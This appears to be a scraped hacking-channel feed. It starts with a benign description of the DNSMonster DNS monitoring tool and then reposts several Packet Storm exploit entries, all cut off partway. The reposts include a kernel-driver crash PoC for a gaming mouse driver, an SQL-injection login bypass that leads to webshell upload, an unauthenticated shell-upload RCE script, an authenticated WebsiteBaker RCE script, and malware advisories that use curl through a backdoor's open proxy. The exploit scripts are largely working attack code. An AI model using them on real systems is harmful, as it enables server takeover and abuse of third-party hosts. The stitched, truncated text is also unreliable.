Kali Linux TutorialsDNSMonster : Passive DNS Capture/Monitoring Framework
DNSMonster is a passive DNS collection and monitoring built with Golang, Click house and Grafana: dnsmonster implements a packet sniffer for DNS traffic. It can accept traffic from a pcap file, a live interface or a dnstap socket, and can be used to index and store thousands of DNS queries per second (it has shown to be capable of indexing 200k+ DNS queries per second on a commodity computer).

It aims to be scalable, simple and easy to use, and help security teams to understand the details about an enterprise’s DNS traffic. dnsmonster does not look to follow DNS conversations, rather it aims to index DNS packets as soon as they come in. It also does not aim to breach the privacy of the end-users, with the ability to mask source IP from 1 to 32 bits, making the data potentially untraceable. Blogpost

IMPORTANT NOTE: The code before version 1.x is considered beta quality and is subject to breaking changes. Please check the release notes for each tag to see the list of breaking scenarios between each release, and how to mitigate potential data loss.

Main Features

* Can use Linux’s afpacket and zero-copy packet capture.
* Supports BPF
* Can fuzz source IP to enhance privacy
* Can have a pre-processing sampling ratio
* Can have a list of “skip” fqdns to avoid writing some domains/suffix/prefix to storage, thus improving DB performance
* Can have a list of “allow” domains to only log hits of certain domains in Clickhouse/Stdout/File
* Modular output with different logic per output stream. Currently stdout/file/clickhouse
* Hot-reload of skip and allow domain files
* Automatic data retention policy using ClickHouse’s TTL attribute
* Built-in dashboard using Grafana
* Can be shipped as a single, statically-linked binary
* Ability to be configured using Env variables, command line options or configuration file
* Ability to sample output metrics using ClickHouse’s SAMPLE capability
* High compression ratio thanks to ClickHouse’s built-in LZ4 storage
* Supports DNS Over TCP, Fragmented DNS (udp/tcp) and IPv6
* Supports dnstrap over Unix socket or TCP

Manual Installation

Linux

For afpacket v3 support, you need to use kernel 3.x+. Any Linux distro since 5 years ago is shipped with a 3.x+ version so it should work out of the box. The release binary is shipped as a statically-linked binary and shouldn’t need any dependencies and will work out of the box. If your distro is not running the pre-compiled version properly, please submit an issue with the details and build dnsmonster manually using this section Build Manually.

Windows

Windows release of the binary depends on npcap to be installed. After installation, the binary should work out of the box. I’ve tested it in a Windows 10 environment and it ran without an issue. To find interface names to give -devName parameter and start sniffing, you’ll need to do the following:

* open cmd.exe (probably as Admin) and run the following: getmac.exe, you’ll see a table with your interfaces’ MAC address and a Transport Name column with something like this: \Device\Tcpip_{16000000-0000-0000-0000-145C4638064C}
* run dnsmonster.exe in cmd.exe like this:
dnsmonster.exe \Device\NPF_{16000000-0000-0000-0000-145C4638064C}
Note that you should change \Tcpip from getmac.exe to \NPF inside dnsmonster.exe.

Since afpacket is a Linux feature and Windows is not supported,&nbs[...]

___________________________
@hacking_Attack
@Hacking_Video

p;useAfpacket and its related options will not work and will cause unexpected behavior on Windows.


Download

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Yenkee Hornet Gaming Mouse Denial Of Service


https://3.bp.blogspot.com/-00fiGlDHfKo/WWlvZ5odqlI/AAAAAAAAIO4/nnZp17OtkHAWqiO0pbFBQSys2U4_yu8pACLcBGAs/s1600/h7.png
Yenkee Hornet Gaming Mouse suffers from a denial of service vulnerability.

MD5 | e9fad895e06cff73fd0a41529528234d

Download
# Exploit Title: Yenkee Hornet Gaming Mouse - 'GM312Fltr.sys' Denial-Of-Service (PoC)
# Date: 2021/04/07
# Exploit Author: Quadron Research Lab
# Version: all version
# Tested on: Windows 10 x64 HUN/ENG Professional
# Vendor: https://www.yenkee.eu/gaming-mouse-hornet-aim/yms-3029
# Reference: https://github.com/Quadron-Research-Lab/Kernel_Driver_bugs/tree/main/GM312Fltr

import ctypes, sys
from ctypes import *
import io
from itertools import product
from sys import argv

devicename = "GM312Fltr"

ioctl = 0x22245C

ioctl_list = '''
0x22245C
0x222440
0x222441
0x222400
0x222404
0x222408
0x222420
0x222424
0x222448
0x222450
0x22245c
0x222460
'''

kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\GM312Fltr", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:
print ("Not Win! Sorry!")

else:
print ("OPENED!")

buf = 'A' * 2000
bufLength = 2000

kernel32.DeviceIoControl(hevDevice, ioctl, buf, bufLength, None, 0, byref(c_ulong()), None)

[Bugcheck Analysis]
Fatal System Error 0x000000f7
(0xBEBEA1CAEAF0A2C1,0x0000F80736BC1742,0xFFFF07F8C943E8BD,0x0000000000000000)

Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus
fffff807`2e1feb90 cc int 3
0 kd !analyze
Connected to Windows 10 19041 x64 target at (Mon Jun 14 204816.370 2021 (UTC + 200)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
........................

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.

........................................
.............................
Loading User Symbols
.............................................
Loading unloaded module list
........
Bugcheck Analysis
DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer. This overrun could potentially
allow a malicious user to gain control of this machine.
DESCRIPTION
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned. This is the classic buffer overrun
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete contro[...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Church Management System 1.0 SQL Injection / Code Execution


https://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png
Church Management System version 1.0 remote SQL injection exploit that achieves code execution.

MD5 | 86fe07c034849618f92a5573b4ea2b4b

Download
# Exploit Title: Church Management System 1.0 - Authentication Bypass via SQLi + RCE
# Date: 21.09.2021
# Exploit Author: Janik Wehrli
# Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/church_management_1.zip
# Version: 1.0
# Tested On: Ubuntu ,Windows 10 + XAMPP 7.4
# Description: Church Management System (CMS-Website) 1.0 suffers from an Authentication Bypass Vulnerability which gives access to the Admin Account. The Admin Dashboard allows us to upload a PHP webshell by creating a new user with a malicious Avatar Image.

import requests, sys
from colorama import Fore, Back, Style
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
F = [Fore.RESET, Fore.BLACK, Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE]
B = [Back.RESET, Back.BLACK, Back.RED, Back.GREEN, Back.YELLOW, Back.BLUE, Back.MAGENTA, Back.CYAN, Back.WHITE]
S = [Style.RESET_ALL, Style.DIM, Style.NORMAL, Style.BRIGHT]
info = S[3] + F[5] + '[' + S[0] + S[3] + '-' + S[3] + F[5] + ']' + S[0] + ' '
err = S[3] + F[2] + '[' + S[0] + S[3] + '!' + S[3] + F[2] + ']' + S[0] + ' '
ok = S[3] + F[3] + '[' + S[0] + S[3] + '+' + S[3] + F[3] + ']' + S[0] + ' '
ASCII_ART = """
_____ _ _ __ __ _ _____ __ __ _____
/ ____| | | | | \/ | | | / ____| \/ |/ ____|
| | | |__ _ _ _ __ ___| |__ | \ / | __ _ _ __ ___ | |_ | | | \ / | (___
| | | '_ \| | | | '__/ __| '_ \ | |\/| |/ _` | '_ ` _ \| __| | | | |\/| |\___ \
| |____| | | | |_| | | | (__| | | | | | | | (_| | | | | | | |_ | |____| | | |____) |
\_____|_| |_|\__,_|_| \___|_| |_| |_| |_|\__, |_| |_| |_|\__| \_____|_| |_|_____/
__/ |
V.1.0 https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
Exploit by Janik Wehrli

"""

# Set variables
print(ASCII_ART)
SERVER_URL = str(input("Type in your Church Manangement System URL e.g http://192.168.20.20: \n"))
LOGIN_URL = SERVER_URL + '/church_management/classes/Login.php?f=login'
UPLOAD_URL = SERVER_URL + "/church_management/classes/Users.php?f=save"
PWN_URL = SERVER_URL + "/church_management/uploads/"
USERNAME = "'OR 1=1#"
PASSWORD = "PWNED"
WEBSHELL_NAME = ""

# Uncomment the bottom line to run the exploit through a proxy such as burp
# proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

# Create a simple web session with python
s = requests.Session()
# GET request to[...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan.Win32.Agent.xaamkd Insecure Permissions


https://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png
Trojan.Win32.Agent.xaamkd malware suffers from an insecure permissions vulnerability.

MD5 | 454252e8b74e0129f22d15163e4068b7

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/095651e1704b501123b41ea2e9736820.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Agent.xaamkd
Vulnerability: Insecure Permissions
Description: The malware creates an dir with insecure permissions under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 095651e1704b501123b41ea2e9736820
Vuln ID: MVID-2021-0342
Disclosure: 09/20/2021
Exploit/PoC:
C:\>cacls SangClub
C:\SangClub BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

C:\>dir SangClub
Volume in drive C has no label.

Directory of C:\SangClub

03/17/2015 06:08 AM 172,032 AniGIF.ocx
11/06/2009 07:56 AM 34,882 audioplay.swf
01/16/2009 09:06 AM 566,272 bsFileClientSDK.dll
06/24/2018 02:06 AM 177,525 CandleFormation.SS7
06/24/2018 02:06 AM 39,164 CandleFormUsers.SS7
11/02/2007 01:36 AM 1,337,264 Codejock.Controls.v11.2.1.ocx
04/22/2012 10:01 PM 1,931,256 Codejock.Controls.v15.2.1.0423.ocx
07/05/2012 09:28 AM 103 CommInfo.ini
09/17/2021 08:07 PM DIR dat
06/15/2003 09:05 AM 133,632 DWEASY36.OCX
06/15/2003 09:02 AM 115,712 DWSBC36.OCX
10/26/2003 12:02 AM 145,920 DWSHK36.OCX
09/14/2003 04:30 PM 77,824 DWSPY36.dll
04/22/1999 09:50 AM 14,848 dwspy5.dll
10/13/1999 01:00 AM 122,880 dwspyvb6.dll
02/22/2007 05:27 AM 344,064 FLICapture.dll
04/22/2011 11:44 AM 335,872 fmtkit60.dll
08/17/1999 08:54 PM 180,224 ijl11.dll
09/17/2021 08:07 PM DIR Image
07/21/1998 11:00 AM 13,824 INETKO.DLL
05/28/2019 10:02 AM 3,565,736 JetSound.exe
05/28/2019 09:49 AM 751,464 LiveStart.exe
03/08/2004 10:00 AM 132,880 MSINET.OCX
06/01/2011 02:58 AM 27 Regcom.bat
03/22/2009 03:47 AM 10,000 regsvr32.exe
11/16/2016 07:44 AM 515,064 SabuStart.exe
05/28/2019 09:49 AM 128,872 SangCapture.exe
06/22/2019 11:57 PM 12,318,776 SangClub.exe
03/28/2008 12:44 AM 143,360 Sangcomm.dll
05/28/2019 09:50 AM 4,081,512 SangPlayer.exe
05/29/2019 12:27 AM 3,629 ScoreList.SS7
03/17/2015 06:08 AM 77,824 Shape.ocx
02/01/2007 [...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Budgets And Expense Tracker System 1.0 Shell Upload


https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Budgets and Expense Tracker System version 1.0 suffers from an unauthenticated remote shell upload vulnerability.

MD5 | f92909d09b8c41e2da44df9b5ae47e41

Download
# Exploit Title: Budget and Expense Tracker System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Exploit Author: Abdullah Khawaja (hax.3xploit)
# Date: 2021-09-21
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/expense_budget.zip
# Version: 2.0
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
# Description: Budget and Expense Tracker System 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.
# RCE via executing exploit:
# Step 1: run the exploit in python with this command: python3 BMAETS_v1.0.py
# Step 2: Input the URL of the vulnerable application: Example: http://localhost/expense_budget/
import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
header = Style.BRIGHT+Fore.RED+' '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL

print(Style.BRIGHT+" Budget and Expense Tracker System 1.0")
print(Style.BRIGHT+" Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)

print(r"""
______ _______ ________
___ //_/__ /_______ ___ _______ ______(_)_____ _
__ ,< __ __ \ __ `/_ | /| / / __ `/____ /_ __ `/
_ /| | _ / / / /_/ /__ |/ |/ // /_/ /____ / / /_/ /
/_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___ / \__,_/
/___/
abdullahkhawaja.com
""")
GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
#Create a new session
s = requests.Session()
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")
def webshell(LINK, session):
try:
WEB_SHELL = LINK+'/uploads/'+filename
getdir = {'cmd': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False, proxies=proxies)
status = r2.status_code
if status != 200:
print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
r2.raise_for_status()[...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WebsiteBaker 2.13.0 Remote Code Execution


https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
WebsiteBaker version 2.13.0 authenticated remote code execution exploit.

MD5 | 879ffeddf168aab8e205fd99f221cb9b

Download
# Exploit Title: WebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 18-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://websitebaker.org/
# Software Link: http://wiki.websitebaker.org/doku.php/en/downloads
# Version: 2.13.0
# Category: Webapps
# Tested on: Linux/Windows

# WebsiteBaker Open Source Content Management
# Includes an endpoint that allows remote access
# Language page misconfigured, causing vulnerability
# User information with sufficient permissions is required.
# I had to write a long script to bypass some security measures.

# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
# python3 exploit.py -h
from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse
def main():
parser = argparse.ArgumentParser(
description='WebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)'
)
parser.add_argument('-u', '--host', type=str, required=True)
parser.add_argument('-l', '--login', type=str, required=True)
parser.add_argument('-p', '--password', type=str, required=True)
args = parser.parse_args()
print("\nWebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)",
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
sleep(2)
find_default(args)
def find_default(args):
#Check http or https
if args.host.startswith(('http://', 'https://')):
print("[?] Check Url...\n")
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
sleep(2)
else:
print("\n[?] Check Adress...\n")
args.host = "http://" + args.host
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
sleep(2)
# Check Host Status
try:
response = requests.get(args.host)
if response.status_code != 200:
print("[-] Address not reachable!\n")
sleep(2)
exit(1)

except requests.ConnectionError as exception:
print("[-] Address not reachable!\n")
sleep(2)
exit(1)

exploit(args)

url = args.host + "/admin/login/index.php"
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/admin/addons/index.php",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
}
response = requests.get(url, headers=headers)
for cookie in response.cookies:
phpsessid_name = cookie.name

soup [...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit CollectorBackdoor.Win32.Hupigon.asqx Unauthenticated Open Proxy


Backdoor.Win32.Hupigon.asqx malware suffers from an unauthenticated open proxy vulnerability.

MD5 | 6946d1d2d8ac1b15c59fb140b80485a9

Download



Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a344b767d58b6c83b92bb868727e021c.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.asqx
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: a344b767d58b6c83b92bb868727e021c
Vuln ID: MVID-2021-0343
Dropped files: win32.exe
Disclosure: 09/20/2021


Exploit/PoC:
Scan Ports)

curl -x http://192.168.18.129:8080 http://192.168.18.128:110 -v
+OK INetSim POP3 Server ready <22935.1631403728@pop3host>
-ERR Unknown command.

curl -x http://192.168.18.129:8080 http://192.168.18.128:21
220 INetSim FTP Service ready.
500 Unknown command.

Download filez)

curl -x http://192.168.18.129:8080 http://192.168.18.128/DOOM.exe --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
97 101k 97 98k 0 0 98k 0 0:00:01 0:00:01 --:--:-- 95224


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).



Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video